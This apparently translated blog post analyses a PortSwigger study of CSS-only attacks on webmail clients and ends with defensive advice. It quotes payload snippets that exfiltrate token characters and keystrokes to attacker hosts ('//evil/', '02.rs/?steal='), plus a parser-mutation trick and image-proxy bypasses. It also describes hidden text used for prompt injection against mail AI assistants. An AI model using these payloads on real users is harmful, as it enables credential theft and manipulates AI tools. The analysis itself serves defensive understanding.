CSS in emails reads passwords: analysis of PortSwigger's study

We are used to consider CSS harmless: just styles, colors at most — broken layout. On August 6, 2026, Gareth Hayes from PortSwigger Research published a study «CSS: The Bomb Inside Your Inbox», which breaks this notion. Using only CSS primitives, without a single line of JavaScript, he demonstrated authorization token theft, a keylogger in real time, and bypassing image-proxy in webmail clients — Outlook, Fastmail, Gmail, ProtonMail, Yahoo, AOL.

Let’s analyze not with “oh no, scary,” but the mechanism: why exactly CSS turned out to be dangerous where JS has long been sanitized, and which concrete tricks work. Below is a vector-by-vector breakdown, each with its gist and an example. Everything labeled as “according to PortSwigger” are the authors’ claims; independently I did not re-check most of them, and this is stated explicitly.

Info:

Context. Webmail shows an email from an unknown sender inside your trusted page. HTML and JavaScript from the email are long ago strictly filtered by sanitizers (DOMPurify and analogs). But CSS has historically been almost entirely allowed — “it’s just formatting.” The study shows that “just formatting” is a full-fledged computational environment if you know its mechanics.

Vector 1. Attribute selector as an oracle for token theft

Let’s start with the most illustrative. Password reset and login confirmation links often contain the token directly in the href: .../callback?token=c2e16a.... CSS can select elements by substring in an attribute, and this turns into a mechanism for character-by-character guessing.

a[href^="https://medium.com/m/callback/email?token="] {
  &[href*="en=c2e16"] {
    background: url("//evil/?start=c2e16");
  }
}

Idea: the rule fires only if the href really contains the substring c2e16. If it triggers, the browser loads a background image from the attacker’s server, and the attacker learns that these characters exist in the token. By iterating variants (nested selectors dramatically reduce payload size), you can extract the token piece by piece. According to PortSwigger, this technique worked against Medium, Yahoo Mail, and AOL Mail.

Warning:

The key thing that makes this possible is leakage over a side channel via resource loading. CSS itself doesn’t “send” anything anywhere, but background: url(...) makes the browser fetch an external resource. Selector match → request occurred → bit of information. No JS required.

Vector 2. Font as ruler: measuring token digits

If the token is numeric and CSP blocks external images, there’s an even more elegant trick — the “font-height oracle.” Through @font-face with unicode-range, you can assign an anomalous metric to a specific digit and measure whether the height of the box changes.

@font-face {
  font-family: has_0;
  src: local('Courier New');
  unicode-range: U+0030;   /* only digit '0' */
  descent-override: 200%;  /* stretch it vertically */
}

If the token contains 0, the block using this font becomes taller — and that height can be turned into a detectable effect (for example, triggering a resource load via inset/animations). By enumerating digits, the token can be reconstructed. This is pure CSS “math” on top of typography — exactly the kind of thing the language was not designed for.

Vector 3. <select> as a real-time keylogger

The most unpleasant one. By combining option:checked, adjacent combinators, and animation timings, the author assembled a capture of keystrokes — also without JS.

option + option:checked        { background: url(https://02.rs/?steal=a); }
option + option + option:checked { background: url(https://02.rs/?steal=b); }

Each position in the list corresponds to its own symbol and a corresponding “signal” request. According to PortSwigger, in conjunction with a fake login screen (drawn with the same CSS tricks) this allows intercepting the entered password in real time. In Firefox, an additional trick of moving the <select> off-screen via animation resets the timer and makes the capture streaming.

Error:

The obvious conclusion here, which one might be tempted to draw, but which should NOT be done: “since CSS is dangerous — let’s cut :has(), :checked, <select>
ct>` and live quietly». A targeted ban of individual selectors is a chase, which the defender loses: the author showed and mutation attacks where a securely looking CSS transforms into dangerous once parsed by the browser. You should block not the list of “bad words,” but the very possibility that CSS from the email can influence a trusted interface.

Vector 4. Mutation: safe CSS that becomes dangerous during parsing

A separate class is the desynchronization between how CSS sees the sanitizer and how it is later parsed by the browser (CSSOM). Hex-escape sequences in names, for example in @keyframes, are allowed by the sanitizer as a harmless string, but when the browser enumerates the rules, they decode them — resulting in a construct the sanitizer would never have allowed in explicit form.

/* this is how the sanitizer sees it — just a strange keyframes name */
@keyframes \7b\7d\7d\2a\7b\63\6f\6c\6f\72\3a\72\65\64\7d {}
/* this will unfold in CSSOM — breaking out of context into another selector */

It is precisely for such mutational bugs, according to the study, that Fastmail paid the author $1000 for finding them and fixed them. In other words, the problem is acknowledged by the vendor and closed — it is not a hypothesis.

Vector 5. Bypassing image-proxy and indirect prompt injection

Mail servers proxy images so that the email does not “ping” the sender’s server and reveal your IP and read receipt. The author demonstrated workarounds for this protection through syntactic tricks: escaped slash (url(/\5c/...)), nested comments, image-set(var(--x, '//evil')). Result — opens tracking and IP leakage despite the proxy.

And separately — a zeitgeist sign: :before/:after with invisible text that the AI assistant of the mail sees but the human does not. This is an indirect prompt injection against embedded LLM tools in mail: the user sees one thing, the language model is fed something else.

Security:

Practical takeaway for the reader-user (not the mail client developers): most of these attacks require you to open the malicious email in a vulnerable web client, and some also require you to input something in it. Basic hygiene works: do not enter passwords into “login forms” that appear inside the email; keep external image blocking turned on by default; perform critical actions (password resets) by going to the site manually, not via a button in the email. This is not paranoia — these are precisely the points these vectors rely on.

What to do for those who run a web application

Even if you don’t write a mail client, the lesson is general: if your product shows HTML/CSS from another user (comments, tickets, emails, chat) — CSS in this threat model is not “styling,” but active code. The author’s recommendations, in brief:

  • isolate чужой контент in a sandboxed iframe, not injected into trusted DOM;
  • proxy all external images and do not trust “white” domains that an attacker could control;
  • strict CSP blocking @import and external styles;
  • be cautious with CSS gadgets that your libraries add to the markup.
Important:

The main idea of the study is not about specific selectors, but about changing the threat model: CSS is not declarative cosmetic, but an environment capable of measuring, branching, and leaking data through side channels. Sanitizing by removing dangerous words from styles loses by definition, because danger arises at the junction of sanitizer and browser parser. The correct level of defense is architectural isolation of чужого контента, not blacklists.

Status at the time of publication

According to PortSwigger: Fastmail fixed mutational bugs (and paid bug bounty); the author considered ProtonMail’s response insufficient; some bypasses in Gmail remained relevant at the time of the article’s release. These are statements by the researcher; no official confirmations from all listed vendors are in the article itself, so treat statuses as one side’s position.

What I could not independently verify and therefore present only as the author’s assertion: the operability of specific payloads against specific clients and the payout amounts. The primary source is PortSwigger Research; the demonstrative videos are attached to the article, but this remains one side.

Related forum topic: 99% of traffic — bots: eight firewall layers of a site — about the server-side frontier; here — about the client-side inside the browser.

Sources

Question:

Is your email client by default loading external images or not blocking them? And a broader question to those who develop: do you expose user HTML/CSS in a sandboxed iframe — or still inject into the main DOM hoping for sanitizer? Share how you implement isolation of чужого контента.